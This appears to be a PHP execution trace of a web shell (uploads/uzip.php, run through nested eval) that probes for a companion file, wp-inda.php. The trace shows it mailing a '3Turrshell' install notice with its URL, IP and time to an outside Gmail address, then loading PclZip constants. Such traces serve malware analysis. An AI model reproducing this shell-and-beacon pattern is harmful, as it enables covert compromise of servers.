4	103	0	1.717185	1426720	fileext	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'uzip.php'
5	104	0	1.717199	1426720	pathinfo	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	1	'uzip.php'
5	104	1	1.717213	1427416
5	104	R			['dirname' => '.', 'basename' => 'uzip.php', 'extension' => 'php', 'filename' => 'uzip']
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	$p = ['dirname' => '.', 'basename' => 'uzip.php', 'extension' => 'php', 'filename' => 'uzip']
4	103	1	1.717251	1426752
4	103	R			'php'
4	105	0	1.717265	1426752	strtolower	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'php'
4	105	1	1.717278	1426784
4	105	R			'php'
4	106	0	1.717291	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	297	1	'uzip.php'
4	106	1	1.717304	1426760
4	106	R			TRUE
4	107	0	1.717317	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'wp-inda.php'
4	107	1	1.717332	1426760
4	107	R			TRUE
4	108	0	1.717345	1426720	fileext	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'wp-inda.php'
5	109	0	1.717358	1426720	pathinfo	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	1	'wp-inda.php'
5	109	1	1.717373	1427416
5	109	R			['dirname' => '.', 'basename' => 'wp-inda.php', 'extension' => 'php', 'filename' => 'wp-inda']
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	$p = ['dirname' => '.', 'basename' => 'wp-inda.php', 'extension' => 'php', 'filename' => 'wp-inda']
4	108	1	1.717409	1426752
4	108	R			'php'
4	110	0	1.717422	1426752	strtolower	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'php'
4	110	1	1.717435	1426784
4	110	R			'php'
4	111	0	1.717448	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	297	1	'wp-inda.php'
4	111	1	1.717461	1426760
4	111	R			TRUE
4	112	0	1.717475	1426720	date	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	309	1	'd/m/Y - H:i:s'
4	112	1	1.719522	1429072
4	112	R			'12/02/2023 - 16:48:12'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	309	$time_shell = '12/02/2023 - 16:48:12'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	310	$ip_remote = '127.0.0.1'
4	113	0	1.719572	1428832	gethostbyname	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	311	1	'localhost'
4	113	1	1.719612	1428912
4	113	R			'127.0.0.1'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	311	$from_shellcode = '3Turrshell@127.0.0.1'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	312	$to_email = 'loginoldum@gmail.com'
4	114	0	1.719653	1428880	gethostbyname	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	313	1	'localhost'
4	114	1	1.719685	1428960
4	114	R			'127.0.0.1'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	313	$server_mail = '127.0.0.1  - localhost'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	314	$linkcr = 'Link: localhost/uploads/uzip.php - IP Excuting: 127.0.0.1 - Time: 12/02/2023 - 16:48:12'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	315	$header = 'From: 3Turrshell@127.0.0.1\r\nReply-to: 3Turrshell@127.0.0.1'
4	115	0	1.719758	1429136	mail	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	316	4	'loginoldum@gmail.com'	'127.0.0.1  - localhost'	'Link: localhost/uploads/uzip.php - IP Excuting: 127.0.0.1 - Time: 12/02/2023 - 16:48:12'	'From: 3Turrshell@127.0.0.1\r\nReply-to: 3Turrshell@127.0.0.1'
4	115	1	1.720636	1429280
4	115	R			FALSE
4	116	0	1.720662	1429136	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_READ_BLOCK_SIZE'	2048
4	116	1	1.720730	1429240
4	116	R			TRUE
4	117	0	1.720747	1429168	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_SEPARATOR'	','
4	117	1	1.720764	1429272
4	117	R			TRUE
4	118	0	1.720777	1429200	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERROR_EXTERNAL'	0
4	118	1	1.720792	1429304
4	118	R			TRUE
4	119	0	1.720804	1429232	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_TEMPORARY_DIR'	''
4	119	1	1.720823	1429336
4	119	R			TRUE
4	120	0	1.720838	1429264	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_TEMPORARY_FILE_RATIO'	0.47
4	120	1	1.720855	1429368
4	120	R			TRUE
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	$g_pclzip_version = '2.8.2'
4	121	0	1.720882	1429296	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_USER_ABORTED'	2
4	121	1	1.720903	1429400
4	121	R			TRUE
4	122	0	1.720916	1429328	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_NO_ERROR'	0
4	122	1	1.720931	1429432
4	122	R			TRUE
4	123	0	1.720944	1429360	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_WRITE_OPEN_FAIL'	-1
4	123	1	1.720962	1429464
4	123	R			TRUE
4	124	0	1.720976	1429392	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_READ_OPEN_FAIL'	-2
4	124	1	1.720991	1429496
4	124	R			TRUE
4	125	0	1.721003	1429424	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_INVALID_PARAMETER'	-3
4	125	1	1.721019	1429528
4	125	R			TRUE
4	126	0	1.721032	1429456	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_MISSING_FILE'	-4
4	126	1	1.721046	1429560
4	126	R			TRUE
4	127	0	1.721059	1429488	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_FILENAME_TOO_LONG'	-5
4	127	1	1.721074	1429592
4	127	R			TRUE
4	128	0	1.721086	1429520	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_INVALID_ZIP'	-6
4	128	1	1.721101	1429624
4	128	R			TRUE
4	129	0	1.721113	1429552	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_BAD_EXTRACTED_FILE'	-7
4	129	1	1.721128	1429656
4	129	R			TRUE
4	130	0	1.721140	1429584	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_DIR_CREATE_FAIL'	-8
4	130	1	1.721155	1429688
4	130	R			TRUE
4	131	0	1.721167	1429616	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_BAD_EXTENSION'	-9
4	131	1	1.721182	1429720
4	131	R			TRUE
4	132	0	1.721195	1429648	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_BAD_FORMAT'	-10
4	132	1	1.721210	1429752
4	132	R			TRUE
4	133	0	1.721222	1429680	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_DELETE_FILE_FAIL'	-11
4	133	1	1.721237	1429784
4	133	R			TRUE
4	134	0	1.721249	1429712	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_RENAME_FILE_FAIL'	-12
4	134	1	1.721264	1429816
4	134	R			TRUE
4	135	0	1.721276	1429744	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_BAD_CHECKSUM'	-13
4	135	1	1.721291	1429848
4	135	R			TRUE
4	136	0	1.721303	1429776	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_INVALID_ARCHIVE_ZIP'	-14
4	136	1	1.721318	1429880
4	136	R			TRUE
4	137	0	1.721330	1429808	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_MISSING_OPTION_VALUE'	-15
4	137	1	1.721346	1429912
4	137	R			TRUE
4	138	0	1.721358	1429840	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_INVALID_OPTION_VALUE'	-16
4	138	1	1.721373	1429944
4	138	R			TRUE
4	139	0	1.721385	1429872	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_ALREADY_A_DIRECTORY'	-17
4	139	1	1.721400	1429976
4	139	R			TRUE
4	140	0	1.721412	1429904	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_UNSUPPORTED_COMPRESSION'	-18
4	140	1	1.721427	1430008
4	140	R			TRUE
4	141	0	1.721440	1429936	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION'	-19
4	141	1	1.721455	1430040
4	141	R			TRUE
4	142	0	1.721468	1429968	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE'	-20
4	142	1	1.721483	1430072
4	142	R			TRUE
4	143	0	1.721496	1430000	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_DIRECTORY_RESTRICTION'	-21
4	143	1	1.721514	1430104
4	143	R			TRUE
4	144	0	1.721527	1430032	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_PATH'	77001
4	144	1	1.721541	1430136
4	144	R			TRUE
4	145	0	1.721554	1430064	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_ADD_PATH'	77002
4	145	1	1.721569	1430168
4	145	R			TRUE
4	146	0	1.721581	1430096	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_REMOVE_PATH'	77003
4	146	1	1.721596	1430200
4	146	R			TRUE
4	147	0	1.721608	1430128	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_REMOVE_ALL_PATH'	77004
4	147	1	1.721623	1430232
4	147	R			TRUE
4	148	0	1.721635	1430160	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_SET_CHMOD'	77005
4	148	1	1.721649	1430264
4	148	R			TRUE
4	149	0	1.721662	1430192	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_EXTRACT_AS_STRING'	77006
4	149	1	1.721676	1430296
4	149	R			TRUE
4	150	0	1.721688	1430224	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_NO_COMPRESSION'	77007
4	150	1	1.721704	1430328
4	150	R			TRUE
4	151	0	1.721716	1430256	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_BY_NAME'	77008
4	151	1	1.721731	1430360
4	151	R			TRUE
4	152	0	1.721743	1430288	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_BY_INDEX'	77009
4	152	1	1.721758	1430392
4	152	R			TRUE
4	153	0	1.721770	1430320	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_BY_EREG'	77010
4	153	1	1.721784	1430424
4	153	R			TRUE
4	154	0	1.721797	1430352	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_BY_PREG'	77011
4	154	1	1.721811	1430456
4	154	R			TRUE
4	155	0	1.721823	1430384	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_COMMENT'	77012
4	155	1	1.721837	1430488
4	155	R			TRUE
4	156	0	1.721849	1430416	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_ADD_COMMENT'	77013
4	156	1	1.721863	1430520
4	156	R			TRUE
4	157	0	1.721875	1430448	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_PREPEND_COMMENT'	77014
4	157	1	1.721891	1430552
4	157	R			TRUE
4	158	0	1.721903	1430480	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_EXTRACT_IN_OUTPUT'	77015
4	158	1	1.721919	1430584
4	158	R			TRUE
4	159	0	1.721931	1430512	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_REPLACE_NEWER'	77016
4	159	1	1.721945	1430616
4	159	R			TRUE
4	160	0	1.721957	1430544	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_STOP_ON_ERROR'	77017
4	160	1	1.721972	1430648
4	160	R			TRUE
4	161	0	1.721984	1430576	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION'	77019
4	161	1	1.722000	1430680
4	161	R			TRUE
4	162	0	1.722012	1430608	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_TEMP_FILE_THRESHOLD'	77020
4	162	1	1.722028	1430712
4	162	R			TRUE
4	163	0	1.722040	1430640	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD'	77020
4	163	1	1.722056	1430744
4	163	R			TRUE
4	164	0	1.722068	1430672	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_TEMP_FILE_ON'	77021
4	164	1	1.722083	1430776
4	164	R			TRUE
4	165	0	1.722095	1430704	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_ADD_TEMP_FILE_ON'	77021
4	165	1	1.722110	1430808
4	165	R			TRUE
4	166	0	1.722127	1430736	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_TEMP_FILE_OFF'	77022
4	166	1	1.722142	1430840
4	166	R			TRUE
4	167	0	1.722154	1430768	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_ADD_TEMP_FILE_OFF'	77022
4	167	1	1.722170	1430872
4	167	R			TRUE
4	168	0	1.722182	1430800	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ATT_FILE_NAME'	79001
4	168	1	1.722195	1430904
4	168	R			TRUE
4	169	0	1.722207	1430832	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ATT_FILE_NEW_SHORT_NAME'	79002
4	169	1	1.722222	1430936
4	169	R			TRUE
4	170	0	1.722235	1430864	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ATT_FILE_NEW_FULL_NAME'	79003
4	170	1	1.722250	1430968
4	170	R			TRUE
4	171	0	1.722263	1430896	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ATT_FILE_MTIME'	79004
4	171	1	1.722280	1431000
4	171	R			TRUE
4	172	0	1.722293	1430928	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ATT_FILE_CONTENT'	79005
4	172	1	1.722307	1431032
4	172	R			TRUE
4	173	0	1.722319	1430960	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ATT_FILE_COMMENT'	79006
4	173	1	1.722334	1431064
4	173	R			TRUE
4	174	0	1.722346	1430992	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_CB_PRE_EXTRACT'	78001
4	174	1	1.722360	1431096
4	174	R			TRUE
4	175	0	1.722372	1431024	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_CB_POST_EXTRACT'	78002
4	175	1	1.722386	1431128
4	175	R			TRUE
4	176	0	1.722397	1431056	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_CB_PRE_ADD'	78003
4	176	1	1.722411	1431160
4	176	R			TRUE
4	177	0	1.722423	1431088	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_CB_POST_ADD'	78004
4	177	1	1.722438	1431192
4	177	R			TRUE
3	19	1	1.722454	1431120
2	7	1	1.722468	1341008
1	3	1	1.722476	1337712
			1.722528	1246680
TRACE END   [2023-02-12 19:48:38.437909]

